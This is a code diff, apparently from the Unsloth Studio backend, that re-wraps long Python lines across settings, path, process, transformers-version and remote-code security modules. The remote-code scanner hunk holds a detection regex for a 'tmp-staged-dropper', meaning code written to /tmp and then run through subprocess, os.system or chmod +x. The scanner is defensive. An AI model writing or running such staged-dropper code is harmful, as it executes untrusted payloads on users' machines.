diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py
index 7007440f4c..635649cb25 100644
--- a/studio/backend/utils/openai_auto_switch_settings.py
+++ b/studio/backend/utils/openai_auto_switch_settings.py
@@ -205,7 +205,9 @@ def set_openai_auto_switch(
         _invalidate(AUTO_UNLOAD_KEEP_KV_SETTING_KEY)
     return (
         parsed_enabled,
-        parsed_idle if parsed_idle is not None else get_stored_auto_unload_idle_seconds(),
+        parsed_idle
+        if parsed_idle is not None
+        else get_stored_auto_unload_idle_seconds(),
         parsed_keep_kv if parsed_keep_kv is not None else get_auto_unload_keep_kv(),
     )
 
@@ -239,6 +241,8 @@ def set_model_override(
     from storage.studio_db import upsert_app_setting_map_entry
 
     # Atomic per-entry merge so two PUTs for different models can't drop each other.
-    upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None)
+    upsert_app_setting_map_entry(
+        MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None
+    )
     _invalidate(MODEL_OVERRIDES_SETTING_KEY)
     return entry
diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.py
index 0ea0477cc7..718ffad5d8 100644
--- a/studio/backend/utils/paths/external_media.py
+++ b/studio/backend/utils/paths/external_media.py
@@ -193,7 +193,9 @@ def _readable_dir_within(path: str, timeout: float) -> bool:
     return path in _readable_dirs_within((path,), timeout)
 
 
-def windows_drive_roots(drive_letters: Iterable[str] = string.ascii_uppercase) -> list[Path]:
+def windows_drive_roots(
+    drive_letters: Iterable[str] = string.ascii_uppercase,
+) -> list[Path]:
     """Readable logical drive roots (``C:\\``, ``D:\\`` ...) for the folder browser; the Windows analog of :func:`linux_run_media_mount_roots`.
 
     Without it the allowlist and chips only reach the home drive, so a user
diff --git a/studio/backend/utils/paths/storage_roots.py b/studio/backend/utils/paths/storage_roots.py
index 35b8c57e9b..90efd4e4fc 100644
--- a/studio/backend/utils/paths/storage_roots.py
+++ b/studio/backend/utils/paths/storage_roots.py
@@ -286,7 +286,9 @@ def _setup_cache_env() -> None:
     download paths inherit the same wrong root.
     """
     root = cache_root()
-    xdg_cache = Path(os.environ.get("XDG_CACHE_HOME", Path.home() / ".cache")).expanduser()
+    xdg_cache = Path(
+        os.environ.get("XDG_CACHE_HOME", Path.home() / ".cache")
+    ).expanduser()
     # HUGGINGFACE_HUB_CACHE is HF's legacy alias for HF_HUB_CACHE; honor it.
     if "HF_HUB_CACHE" not in os.environ and os.environ.get("HUGGINGFACE_HUB_CACHE"):
         os.environ["HF_HUB_CACHE"] = os.environ["HUGGINGFACE_HUB_CACHE"]
@@ -330,7 +332,9 @@ def ensure_studio_directories() -> None:
     _setup_cache_env()
 
 
-def _clean_relative_path(path_value: str, *, strip_prefixes: tuple[str, ...] = ()) -> Path:
+def _clean_relative_path(
+    path_value: str, *, strip_prefixes: tuple[str, ...] = ()
+) -> Path:
     path = Path(path_value).expanduser()
     parts = [part for part in path.parts if part not in ("", ".")]
     while parts and parts[0] in strip_prefixes:
@@ -369,7 +373,8 @@ def _assert_contained(resolved: Path, root: Path) -> None:
         resolved_real.relative_to(root_real)
     except ValueError as exc:
         raise ValueError(
-            f"path escapes root: {resolved!s} -> {resolved_real!s} " f"is not under {root_real!s}"
+            f"path escapes root: {resolved!s} -> {resolved_real!s} "
+            f"is not under {root_real!s}"
         ) from exc
 
 
@@ -490,7 +495,9 @@ def resolve_dataset_path(path_value: str) -> Path:
                 return path
             except ValueError:
                 continue
-        raise ValueError(f"dataset path must be relative or under a dataset root: {raw!r}")
+        raise ValueError(
+            f"dataset path must be relative or under a dataset root: {raw!r}"
+        )
 
     parts = [part for part in Path(path_value).parts if part not in ("", ".")]
     if parts[:2] == ["assets", "datasets"]:
diff --git a/studio/backend/utils/process_lifetime.py b/studio/backend/utils/process_lifetime.py
index c63227ae86..69a07e7ca2 100644
--- a/studio/backend/utils/process_lifetime.py
+++ b/studio/backend/utils/process_lifetime.py
@@ -73,7 +73,12 @@ def _win_signatures(kernel32) -> None:
     H, BOOL, DWORD = wintypes.HANDLE, wintypes.BOOL, wintypes.DWORD
     kernel32.CreateJobObjectW.argtypes = [ctypes.c_void_p, ctypes.c_wchar_p]
     kernel32.CreateJobObjectW.restype = H
-    kernel32.SetInformationJobObject.argtypes = [H, ctypes.c_int, ctypes.c_void_p, DWORD]
+    kernel32.SetInformationJobObject.argtypes = [
+        H,
+        ctypes.c_int,
+        ctypes.c_void_p,
+        DWORD,
+    ]
     kernel32.SetInformationJobObject.restype = BOOL
     kernel32.AssignProcessToJobObject.argtypes = [H, H]
     kernel32.AssignProcessToJobObject.restype = BOOL
@@ -134,7 +139,10 @@ def _install_windows_job() -> None:
         info = _EXT()
         info.BasicLimitInformation.LimitFlags = _JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
         if not kernel32.SetInformationJobObject(
-            job, _JobObjectExtendedLimitInformation, ctypes.byref(info), ctypes.sizeof(info)
+            job,
+            _JobObjectExtendedLimitInformation,
+            ctypes.byref(info),
+            ctypes.sizeof(info),
         ):
             kernel32.CloseHandle(job)
             return
@@ -157,7 +165,9 @@ def _pdeathsig_preexec() -> None:
     # check closes the race where the parent died before this ran.
     try:
         import ctypes
-        ctypes.CDLL("libc.so.6", use_errno = True).prctl(_PR_SET_PDEATHSIG, signal.SIGTERM)
+        ctypes.CDLL("libc.so.6", use_errno = True).prctl(
+            _PR_SET_PDEATHSIG, signal.SIGTERM
+        )
         if os.getppid() == 1:
             os._exit(1)
     except Exception:
@@ -172,7 +182,9 @@ def bind_current_process_to_parent_lifetime() -> None:
         _pdeathsig_preexec()
 
 
-def compose_preexec(existing: Optional[Callable[[], None]]) -> Optional[Callable[[], None]]:
+def compose_preexec(
+    existing: Optional[Callable[[], None]],
+) -> Optional[Callable[[], None]]:
     """Run the PDEATHSIG hook then any caller-supplied preexec (Linux only)."""
     if not _is_linux():
         return existing
@@ -232,10 +244,16 @@ def adopt_pid(pid: Optional[int]) -> None:
 
             kernel32 = ctypes.WinDLL("kernel32", use_last_error = True)
             _win_signatures(kernel32)
-            kernel32.OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
+            kernel32.OpenProcess.argtypes = [
+                wintypes.DWORD,
+                wintypes.BOOL,
+                wintypes.DWORD,
+            ]
             kernel32.OpenProcess.restype = wintypes.HANDLE
             PROCESS_SET_QUOTA, PROCESS_TERMINATE = 0x0100, 0x0001
-            handle = kernel32.OpenProcess(PROCESS_SET_QUOTA | PROCESS_TERMINATE, False, pid)
+            handle = kernel32.OpenProcess(
+                PROCESS_SET_QUOTA | PROCESS_TERMINATE, False, pid
+            )
             if handle:
                 kernel32.AssignProcessToJobObject(_win_job_handle, handle)
                 kernel32.CloseHandle(handle)
diff --git a/studio/backend/utils/security/consent.py b/studio/backend/utils/security/consent.py
index b36131f809..fc927f4481 100644
--- a/studio/backend/utils/security/consent.py
+++ b/studio/backend/utils/security/consent.py
@@ -51,7 +51,9 @@ class RemoteCodeDecision:
     max_severity: Optional[str]
     findings_summary: str
     reason: str
-    findings: list = field(default_factory = list)  # structured [{severity,file,check,evidence}]
+    findings: list = field(
+        default_factory = list
+    )  # structured [{severity,file,check,evidence}]
     approvable: bool = True  # False only for CRITICAL (user cannot override)
 
     def response_payload(self) -> dict:
@@ -61,7 +63,9 @@ class RemoteCodeDecision:
         """
         return {
             "error_kind": (
-                "remote_code_consent_required" if self.approvable else "remote_code_blocked"
+                "remote_code_consent_required"
+                if self.approvable
+                else "remote_code_blocked"
             ),
             "model_name": self.model_name,
             "has_remote_code": self.has_remote_code,
@@ -81,7 +85,9 @@ class RemoteCodeDecision:
 _REMOTE_CODE_CONFIG_FILES = REMOTE_CODE_CONFIG_FILES
 
 
-def _config_has_auto_map(model_name: str, hf_token: Optional[str] = None) -> Optional[bool]:
+def _config_has_auto_map(
+    model_name: str, hf_token: Optional[str] = None
+) -> Optional[bool]:
     """Whether any config (model/tokenizer/processor) declares an ``auto_map`` the load
     would execute. Reads raw JSON with ``hf_token``; returns None when a config is
     unreadable (transient/auth) so the caller treats it as "unknown" and scans, False
@@ -124,7 +130,9 @@ def _is_direct_gguf_file_ref(model_name: str) -> bool:
     return name.count("/") >= 2
 
 
-def _load_remote_code_configs(model_name: str, hf_token: Optional[str] = None) -> Optional[list]:
+def _load_remote_code_configs(
+    model_name: str, hf_token: Optional[str] = None
+) -> Optional[list]:
     """Read every config that can declare ``auto_map`` (model/tokenizer/processor) as
     raw dicts. Returns the configs present (``[]`` when all 404, a definitive "no
     auto_map"), or None when one is unreadable (transient/auth) so the caller scans.
@@ -242,7 +250,10 @@ def evaluate_remote_code_consent_for_targets(
 
         _ak = remote_code_approvals.approval_target_key(targets)
         _stored = remote_code_approvals.lookup(subject, _ak)
-        if _stored is not None and _stored.scanner_version == remote_code_approvals.SCANNER_VERSION:
+        if (
+            _stored is not None
+            and _stored.scanner_version == remote_code_approvals.SCANNER_VERSION
+        ):
             _sha = remote_code_approvals.resolve_combined_sha(targets, hf_token)
             if _sha is None or _sha == _stored.commit_sha:
                 approved_fingerprint = approved_fingerprint or _stored.fingerprint
@@ -284,7 +295,13 @@ def evaluate_remote_code_consent_for_targets(
 
     if not has_remote_code:
         return RemoteCodeDecision(
-            primary, False, False, None, None, "", "no auto_map; trust_remote_code is a no-op"
+            primary,
+            False,
+            False,
+            None,
+            None,
+            "",
+            "no auto_map; trust_remote_code is a no-op",
         )
 
     if not combined:
@@ -306,7 +323,9 @@ def evaluate_remote_code_consent_for_targets(
     # CRITICAL is never approvable; a fingerprint pins approval for lower severities only.
     approvable = sev != CRITICAL
     approved = (
-        approvable and approved_fingerprint is not None and approved_fingerprint == fingerprint
+        approvable
+        and approved_fingerprint is not None
+        and approved_fingerprint == fingerprint
     )
 
     if sev == CRITICAL:
diff --git a/studio/backend/utils/security/file_security.py b/studio/backend/utils/security/file_security.py
index 466f326f18..df856ff4f8 100644
--- a/studio/backend/utils/security/file_security.py
+++ b/studio/backend/utils/security/file_security.py
@@ -39,7 +39,17 @@ logger = get_logger(__name__)
 # Non-blocking levels: clean or not-yet-finished. Anything else (unsafe/suspicious/
 # malicious or a future label) blocks, so Hub schema drift fails CLOSED.
 _NONBLOCKING_LEVELS = frozenset(
-    {"", "safe", "pending", "scanning", "queued", "unscanned", "error", "unknown", "none"}
+    {
+        "",
+        "safe",
+        "pending",
+        "scanning",
+        "queued",
+        "unscanned",
+        "error",
+        "unknown",
+        "none",
+    }
 )
 
 # Suffixes that cannot execute code on load (tensor-only safetensors, non-pickle gguf,
@@ -144,14 +154,20 @@ def _indexed_shard_paths(
     for prefix in _index_prefixes(load_subdirs):
         for filename in _TRANSFORMERS_INDEX_FILES:
             try:
-                index_path = hf_hub_download(model_name, prefix + filename, token = hf_token or None)
+                index_path = hf_hub_download(
+                    model_name, prefix + filename, token = hf_token or None
+                )
             except EntryNotFoundError:
                 continue  # definitively absent, not an error
             except Exception:
-                inconclusive = True  # transient: an index that might exist could not be read
+                inconclusive = (
+                    True  # transient: an index that might exist could not be read
+                )
                 continue
             try:
-                weight_map = (json.loads(open(index_path).read()) or {}).get("weight_map") or {}
+                weight_map = (json.loads(open(index_path).read()) or {}).get(
+                    "weight_map"
+                ) or {}
                 for shard in weight_map.values():
                     shard_norm = _normalize_repo_path(str(shard))
                     # weight_map paths are relative to the index file's directory.
@@ -290,10 +306,14 @@ def evaluate_file_security(
     try:
         from utils.paths import is_local_path
         if is_local_path(model_name):
-            return FileSecurityDecision(model_name, False, reason = "local path; no Hub scan")
+            return FileSecurityDecision(
+                model_name, False, reason = "local path; no Hub scan"
+            )
     except Exception:
         # Cannot classify the path -> do not block on that account.
-        return FileSecurityDecision(model_name, False, reason = "path check failed; not blocked")
+        return FileSecurityDecision(
+            model_name, False, reason = "path check failed; not blocked"
+        )
 
     status = _fetch_security_status(model_name, hf_token)
     if not isinstance(status, dict):
@@ -352,7 +372,9 @@ def evaluate_file_security(
                 model_name,
                 ", ".join(f"{s['path']}({s['level']})" for s in skipped),
             )
-        return FileSecurityDecision(model_name, False, reason = "no unsafe files in the load path")
+        return FileSecurityDecision(
+            model_name, False, reason = "no unsafe files in the load path"
+        )
 
     names = ", ".join(u["path"] for u in unsafe if u["path"]) or "unknown files"
     logger.warning(
diff --git a/studio/backend/utils/security/remote_code_approvals.py b/studio/backend/utils/security/remote_code_approvals.py
index ee38ddec6f..b2a088c35d 100644
--- a/studio/backend/utils/security/remote_code_approvals.py
+++ b/studio/backend/utils/security/remote_code_approvals.py
@@ -44,7 +44,11 @@ class StoredApproval:
 
 
 def cache_disabled() -> bool:
-    return os.environ.get("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "").lower() in ("1", "true", "yes")
+    return os.environ.get("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "").lower() in (
+        "1",
+        "true",
+        "yes",
+    )
 
 
 def _store_path():
@@ -52,9 +56,11 @@ def _store_path():
 
 
 def _env_offline() -> bool:
-    return os.environ.get("HF_HUB_OFFLINE", "").lower() in ("1", "true", "yes") or os.environ.get(
-        "TRANSFORMERS_OFFLINE", ""
-    ).lower() in ("1", "true", "yes")
+    return os.environ.get("HF_HUB_OFFLINE", "").lower() in (
+        "1",
+        "true",
+        "yes",
+    ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes")
 
 
 def approval_target_key(targets) -> str:
@@ -117,7 +123,9 @@ def _file_lock():
     path = _store_path()
     try:
         storage_roots.ensure_dir(path.parent)
-        fd = os.open(str(path.parent / f"{path.name}.lock"), os.O_CREAT | os.O_RDWR, 0o600)
+        fd = os.open(
+            str(path.parent / f"{path.name}.lock"), os.O_CREAT | os.O_RDWR, 0o600
+        )
     except Exception:
         yield
         return
diff --git a/studio/backend/utils/security/remote_code_scan.py b/studio/backend/utils/security/remote_code_scan.py
index 797e1056f8..559d7b4ec2 100644
--- a/studio/backend/utils/security/remote_code_scan.py
+++ b/studio/backend/utils/security/remote_code_scan.py
@@ -109,7 +109,9 @@ _FALLBACK_PATTERNS: tuple[tuple[re.Pattern, str, str], ...] = (
         CRITICAL,
     ),
     (
-        re.compile(r"/tmp/\S+.*(?:subprocess|os\.system|os\.popen|Popen|chmod.*\+x)", re.DOTALL),
+        re.compile(
+            r"/tmp/\S+.*(?:subprocess|os\.system|os\.popen|Popen|chmod.*\+x)", re.DOTALL
+        ),
         "tmp-staged-dropper",
         CRITICAL,
     ),
@@ -200,7 +202,9 @@ class ScanResult:
     def max_severity(self) -> Optional[str]:
         if not self.findings:
             return None
-        return min((f.severity for f in self.findings), key = lambda s: _SEVERITY_ORDER[s])
+        return min(
+            (f.severity for f in self.findings), key = lambda s: _SEVERITY_ORDER[s]
+        )
 
     @property
     def clean(self) -> bool:
@@ -253,7 +257,9 @@ def _load_canonical_scanner():
         candidate = parent / "scripts" / "scan_packages.py"
         if candidate.is_file():
             try:
-                spec = importlib.util.spec_from_file_location("unsloth_scan_packages", candidate)
+                spec = importlib.util.spec_from_file_location(
+                    "unsloth_scan_packages", candidate
+                )
                 mod = importlib.util.module_from_spec(spec)
                 sys.modules.setdefault("unsloth_scan_packages", mod)
                 spec.loader.exec_module(mod)  # type: ignore[union-attr]
@@ -402,7 +408,9 @@ def remote_code_fingerprint(files: dict[str, str]) -> str:
     return h.hexdigest()
 
 
-def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> dict[str, str]:
+def repo_remote_code_files(
+    model_name: str, hf_token: Optional[str] = None
+) -> dict[str, str]:
     """Download a repo's executable ``.py`` (auto_map targets + modeling/config).
 
     Returns {filename: content}. An EMPTY dict means the repo ships no executable ``.py``
@@ -443,7 +451,9 @@ def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> d
                     except Exception:
                         pass
             if not _add_external_refs(files, ext_refs, hf_token, model_name):
-                raise RemoteCodeUnscannable(f"{model_name}: external auto_map code unreachable")
+                raise RemoteCodeUnscannable(
+                    f"{model_name}: external auto_map code unreachable"
+                )
             return files
 
         from huggingface_hub import hf_hub_download, list_repo_files
@@ -473,7 +483,9 @@ def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> d
         try:
             repo_files = list_repo_files(model_name, token = hf_token)
         except Exception as exc:
-            raise RemoteCodeUnscannable(f"{model_name}: could not list repo files ({exc})") from exc
+            raise RemoteCodeUnscannable(
+                f"{model_name}: could not list repo files ({exc})"
+            ) from exc
         repo_file_set = set(repo_files)
         # Scan every present .py PLUS own-repo auto_map targets that ACTUALLY EXIST in
         # this revision. Scanning EVERY .py (not just the closure) is DELIBERATE: the
@@ -511,9 +523,13 @@ def repo_remote_code_files(model_name: str, hf_token: Optional[str] = None) -> d
             files[fn] = Path(fp).read_text(errors = "replace")
         # Code referenced from another repo executes too: scan it or fail closed.
         if not _add_external_refs(files, refs, hf_token, model_name):
-            raise RemoteCodeUnscannable(f"{model_name}: external auto_map code unreachable")
+            raise RemoteCodeUnscannable(
+                f"{model_name}: external auto_map code unreachable"
+            )
     except RemoteCodeUnscannable:
-        logger.warning("repo_remote_code_files(%s): unscannable; failing closed", model_name)
+        logger.warning(
+            "repo_remote_code_files(%s): unscannable; failing closed", model_name
+        )
         raise
     except Exception as exc:
         # An unexpected error mid-scan means we could not complete it -> unscannable.
diff --git a/studio/backend/utils/security/trusted_org.py b/studio/backend/utils/security/trusted_org.py
index 968a740eea..62582223de 100644
--- a/studio/backend/utils/security/trusted_org.py
+++ b/studio/backend/utils/security/trusted_org.py
@@ -36,9 +36,11 @@ def _token_key(hf_token: Optional[str]) -> str:
 
 
 def _env_offline() -> bool:
-    return os.environ.get("HF_HUB_OFFLINE", "").lower() in ("1", "true", "yes") or os.environ.get(
-        "TRANSFORMERS_OFFLINE", ""
-    ).lower() in ("1", "true", "yes")
+    return os.environ.get("HF_HUB_OFFLINE", "").lower() in (
+        "1",
+        "true",
+        "yes",
+    ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes")
 
 
 def is_trusted_org_repo(
diff --git a/studio/backend/utils/ssm_runtime.py b/studio/backend/utils/ssm_runtime.py
index ca7e2309f9..49960e1448 100644
--- a/studio/backend/utils/ssm_runtime.py
+++ b/studio/backend/utils/ssm_runtime.py
@@ -37,7 +37,9 @@ StatusCb = Optional[Callable[[str], None]]
 # Pinned wheels, kept in lockstep with core/training/worker.py by tests/test_ssm_runtime.py.
 CAUSAL_CONV1D_PACKAGE_VERSION = "1.6.1"
 CAUSAL_CONV1D_RELEASE_TAG = "v1.6.1.post4"
-CAUSAL_CONV1D_RELEASE_BASE_URL = "https://github.com/Dao-AILab/causal-conv1d/releases/download"
+CAUSAL_CONV1D_RELEASE_BASE_URL = (
+    "https://github.com/Dao-AILab/causal-conv1d/releases/download"
+)
 MAMBA_SSM_PACKAGE_VERSION = "2.3.1"
 MAMBA_SSM_RELEASE_TAG = "v2.3.1"
 MAMBA_SSM_RELEASE_BASE_URL = "https://github.com/state-spaces/mamba/releases/download"
@@ -112,7 +114,9 @@ def _is_importable(import_name: str) -> bool:
         # An ABI-incompatible kernel (undefined symbol after a torch/CUDA upgrade) raises
         # OSError/RuntimeError, not ImportError; treat any failure as "not importable" so the
         # caller reinstalls/source-builds instead of hard-failing on a merely broken kernel.
-        logger.debug("%s is not importable (%s: %s)", import_name, type(exc).__name__, exc)
+        logger.debug(
+            "%s is not importable (%s: %s)", import_name, type(exc).__name__, exc
+        )
         return False
 
 
@@ -132,9 +136,9 @@ def _hipcc_gcc_install_dir() -> Optional[str]:
     if not sys.platform.startswith("linux") or platform.machine().lower() != "x86_64":
         return None
     for ver in (14, 13, 12, 11):
-        if os.path.isdir(f"/usr/lib/gcc/x86_64-linux-gnu/{ver}/include") and os.path.isdir(
-            f"/usr/include/c++/{ver}"
-        ):
+        if os.path.isdir(
+            f"/usr/lib/gcc/x86_64-linux-gnu/{ver}/include"
+        ) and os.path.isdir(f"/usr/include/c++/{ver}"):
             return f"/usr/lib/gcc/x86_64-linux-gnu/{ver}"
     return None
 
@@ -146,7 +150,10 @@ def _run_with_heartbeat(run, cmd, status_cb, display_name, **kwargs):
 
     def _beat():
         while not done.wait(60):
-            _emit(status_cb, f"Still building {display_name} (this can take several minutes)...")
+            _emit(
+                status_cb,
+                f"Still building {display_name} (this can take several minutes)...",
+            )
 
     threading.Thread(target = _beat, daemon = True).start()
     try:
@@ -181,7 +188,9 @@ def _install_kernel(
         env = env,
     )
     if wheel_url and url_exists(wheel_url):
-        _emit(status_cb, f"Installing {display_name} (prebuilt kernel) for this model...")
+        _emit(
+            status_cb, f"Installing {display_name} (prebuilt kernel) for this model..."
+        )
         for installer, result in install_wheel(
             wheel_url,
             python_executable = sys.executable,
@@ -195,7 +204,8 @@ def _install_kernel(
                     logger.info("Installed prebuilt %s wheel", display_name)
                     return True
                 logger.warning(
-                    "%s wheel installed but not importable; building from source", display_name
+                    "%s wheel installed but not importable; building from source",
+                    display_name,
                 )
                 break
             logger.warning(
@@ -215,7 +225,10 @@ def _install_kernel(
     spec = f"{pypi_name}=={package_version}"
     is_hip = bool((env or {}).get("hip_version"))
     if is_hip and not shutil.which("hipcc"):
-        _emit(status_cb, f"{display_name}: hipcc not found; install the ROCm HIP SDK to build it.")
+        _emit(
+            status_cb,
+            f"{display_name}: hipcc not found; install the ROCm HIP SDK to build it.",
+        )
         return False
     _emit(
         status_cb,
@@ -273,7 +286,9 @@ def _install_kernel(
         _emit(status_cb, f"{display_name} source build timed out.")
         return False
     if getattr(result, "returncode", 1) != 0:
-        logger.warning("%s source install failed:\n%s", display_name, getattr(result, "stdout", ""))
+        logger.warning(
+            "%s source install failed:\n%s", display_name, getattr(result, "stdout", "")
+        )
     return _is_importable(import_name)
 
 
@@ -312,7 +327,9 @@ def ensure_ssm_runtime(
         status_cb = status_cb,
         run = run,
     ):
-        logger.warning("causal-conv1d unavailable; continuing on the model's torch fallback")
+        logger.warning(
+            "causal-conv1d unavailable; continuing on the model's torch fallback"
+        )
 
     if is_ssm and not _install_kernel(
         import_name = "mamba_ssm",
diff --git a/studio/backend/utils/studio_version.py b/studio/backend/utils/studio_version.py
index 82ade74bba..91feab8c42 100644
--- a/studio/backend/utils/studio_version.py
+++ b/studio/backend/utils/studio_version.py
@@ -40,7 +40,9 @@ def _path_is_in_site_packages(path: Path) -> bool:
 
 
 def _is_source_checkout(repo_root: Path) -> bool:
-    return (repo_root / ".git").exists() and not _path_is_in_site_packages(Path(__file__).resolve())
+    return (repo_root / ".git").exists() and not _path_is_in_site_packages(
+        Path(__file__).resolve()
+    )
 
 
 def _exact_git_studio_tag(repo_root: Path) -> str | None:
diff --git a/studio/backend/utils/training_runs.py b/studio/backend/utils/training_runs.py
index dcdfa1395d..aa683364eb 100644
--- a/studio/backend/utils/training_runs.py
+++ b/studio/backend/utils/training_runs.py
@@ -31,7 +31,9 @@ def _unescape_project_marker(segment: str) -> str:
 
 def _appended_project_marker_index(segment: str) -> int:
     marker_index = segment.rfind(_PROJECT_MARKER)
-    while marker_index >= 0 and segment.startswith(_PROJECT_MARKER_ESCAPE, marker_index):
+    while marker_index >= 0 and segment.startswith(
+        _PROJECT_MARKER_ESCAPE, marker_index
+    ):
         marker_index = segment.rfind(_PROJECT_MARKER, 0, marker_index)
     return marker_index
 
@@ -75,7 +77,10 @@ def build_default_output_dir_name(
         return f"{model_segment}{timestamp_suffix}"
 
     max_project_chars = (
-        _MAX_RUN_DIR_NAME_CHARS - len("model") - len(_PROJECT_MARKER) - len(timestamp_suffix)
+        _MAX_RUN_DIR_NAME_CHARS
+        - len("model")
+        - len(_PROJECT_MARKER)
+        - len(timestamp_suffix)
     )
     project_slug = _trim_segment(project_slug, max_project_chars) or "project"
     project_suffix = f"{_PROJECT_MARKER}{project_slug}{timestamp_suffix}"
diff --git a/studio/backend/utils/transformers_latest.py b/studio/backend/utils/transformers_latest.py
index 9f1d11be5b..4c8dee60ee 100644
--- a/studio/backend/utils/transformers_latest.py
+++ b/studio/backend/utils/transformers_latest.py
@@ -87,7 +87,8 @@ _TRUE_VALUES = {"1", "true", "yes", "on"}
 def _disabled() -> bool:
     """True if the operator disabled the latest-transformers check entirely."""
     return (
-        os.environ.get("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "").strip().lower() in _TRUE_VALUES
+        os.environ.get("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "").strip().lower()
+        in _TRUE_VALUES
     )
 
 
@@ -314,7 +315,9 @@ def _hardcoded_model_types() -> frozenset[str]:
     )
 
 
-def check_upgrade_for_model(model_name: str, hf_token: str | None = None) -> dict | None:
+def check_upgrade_for_model(
+    model_name: str, hf_token: str | None = None
+) -> dict | None:
     """Upgrade signal for *model_name*, or None when current routing already handles it.
 
     The tier hook for the pre-load ``/validate`` path: fires ONLY when the model's
@@ -351,14 +354,17 @@ def check_upgrade_for_model(model_name: str, hf_token: str | None = None) -> dic
         # through CONFIG_MAPPING) or the load still fails.
         supports = [latest_transformers_supports(candidate) for candidate in missing]
         if any(
-            s is None or not (s["supported_in_pypi"] or s["supported_in_main"]) for s in supports
+            s is None or not (s["supported_in_pypi"] or s["supported_in_main"])
+            for s in supports
         ):
             return None
         # Offer the PyPI install only if the release ships every missing type; a
         # main-only type in the mix surfaces as dev-only.
         model_type = missing[0]
         supported_in_pypi = all(s["supported_in_pypi"] for s in supports)
-        supported_in_main = all(s["supported_in_pypi"] or s["supported_in_main"] for s in supports)
+        supported_in_main = all(
+            s["supported_in_pypi"] or s["supported_in_main"] for s in supports
+        )
         logger.info(
             "Model %s has model_type=%s unknown to every installed transformers "
             "(latest PyPI %s: %s, main: %s)",
@@ -446,7 +452,9 @@ def compat_plan(version: str) -> tuple[tuple[str, ...], list[str]]:
     """
     reqs = _fetch_requires_dist(version)
     if reqs is None:
-        return (), ["dependency metadata for this release (could not be fetched from PyPI; retry)"]
+        return (), [
+            "dependency metadata for this release (could not be fetched from PyPI; retry)"
+        ]
     try:
         from importlib.metadata import PackageNotFoundError
         from importlib.metadata import version as _installed_version
@@ -473,7 +481,9 @@ def compat_plan(version: str) -> tuple[tuple[str, ...], list[str]]:
             installed = _installed_version(req.name)
         except PackageNotFoundError:
             installed = None
-        if installed is not None and req.specifier.contains(installed, prereleases = True):
+        if installed is not None and req.specifier.contains(
+            installed, prereleases = True
+        ):
             continue
         if name in _SHADOWABLE_DEPS:
             exact = _resolve_exact_version(name, req.specifier)
@@ -575,7 +585,9 @@ def _install_latest_transformers_locked(version: str, before_swap = None) -> dic
             f"{version}: this environment does not satisfy {', '.join(blockers)}. "
             "An Unsloth update is required first.",
         }
-    if not ensure_latest_transformers_venv(version, extra_packages, before_swap = before_swap):
+    if not ensure_latest_transformers_venv(
+        version, extra_packages, before_swap = before_swap
+    ):
         return {
             "success": False,
             "version": version,
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 1fbcc9f46f..da6e82a01d 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -58,7 +58,8 @@ def _env_offline() -> bool:
     """True if an HF offline env var is truthy (canonical strip+lower parse); gates the urllib fetches below."""
     return (
         os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
-        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower()
+        in _OFFLINE_TRUE_VALUES
     )
 
 
@@ -250,7 +251,9 @@ def _higher_tier(a: str, b: str) -> str:
     return a if _TIER_RANK.get(a, 0) >= _TIER_RANK.get(b, 0) else b
 
 
-def activate_transformers_for_subprocess(model_name: str, hf_token: str | None = None) -> None:
+def activate_transformers_for_subprocess(
+    model_name: str, hf_token: str | None = None
+) -> None:
     """Activate the correct transformers version in a subprocess worker.
 
     Call BEFORE any ML imports. Resolves LoRA adapters to their base model,
@@ -293,7 +296,9 @@ def activate_transformers_for_subprocess(model_name: str, hf_token: str | None =
             _VENV_T5_LATEST_DIR,
         )
         _pp = os.environ.get("PYTHONPATH", "")
-        os.environ["PYTHONPATH"] = _VENV_T5_LATEST_DIR + (os.pathsep + _pp if _pp else "")
+        os.environ["PYTHONPATH"] = _VENV_T5_LATEST_DIR + (
+            os.pathsep + _pp if _pp else ""
+        )
     elif tier == "510":
         if not _ensure_venv_t5_510_exists():
             raise RuntimeError(
@@ -380,7 +385,9 @@ def latest_tier_active_for(model_name: str, hf_token: str | None = None) -> bool
 def _has_adapter_weights(path: Path) -> bool:
     """True if *path* holds LoRA adapter weight files (``adapter_model.*``)."""
     try:
-        return any(path.glob("adapter_model*.safetensors")) or any(path.glob("adapter_model*.bin"))
+        return any(path.glob("adapter_model*.safetensors")) or any(
+            path.glob("adapter_model*.bin")
+        )
     except OSError:
         return False
 
@@ -441,7 +448,11 @@ def _resolve_base_model(model_name: str) -> str:
             # Unsloth writes model_name, HF writes _name_or_path; skip a self-reference.
             for _key in ("model_name", "_name_or_path"):
                 base = cfg.get(_key)
-                if isinstance(base, str) and base and not _is_same_path(base, local_path):
+                if (
+                    isinstance(base, str)
+                    and base
+                    and not _is_same_path(base, local_path)
+                ):
                     logger.info(
                         "Resolved checkpoint '%s' → base model '%s' (via config.json)",
                         model_name,
@@ -520,7 +531,8 @@ def _adapter_base_from_hf_cache(model_name: str) -> str | None:
         os.environ.get("HF_HUB_CACHE")
         or os.environ.get("HUGGINGFACE_HUB_CACHE")
         or os.path.join(
-            os.environ.get("HF_HOME") or os.path.expanduser("~/.cache/huggingface"), "hub"
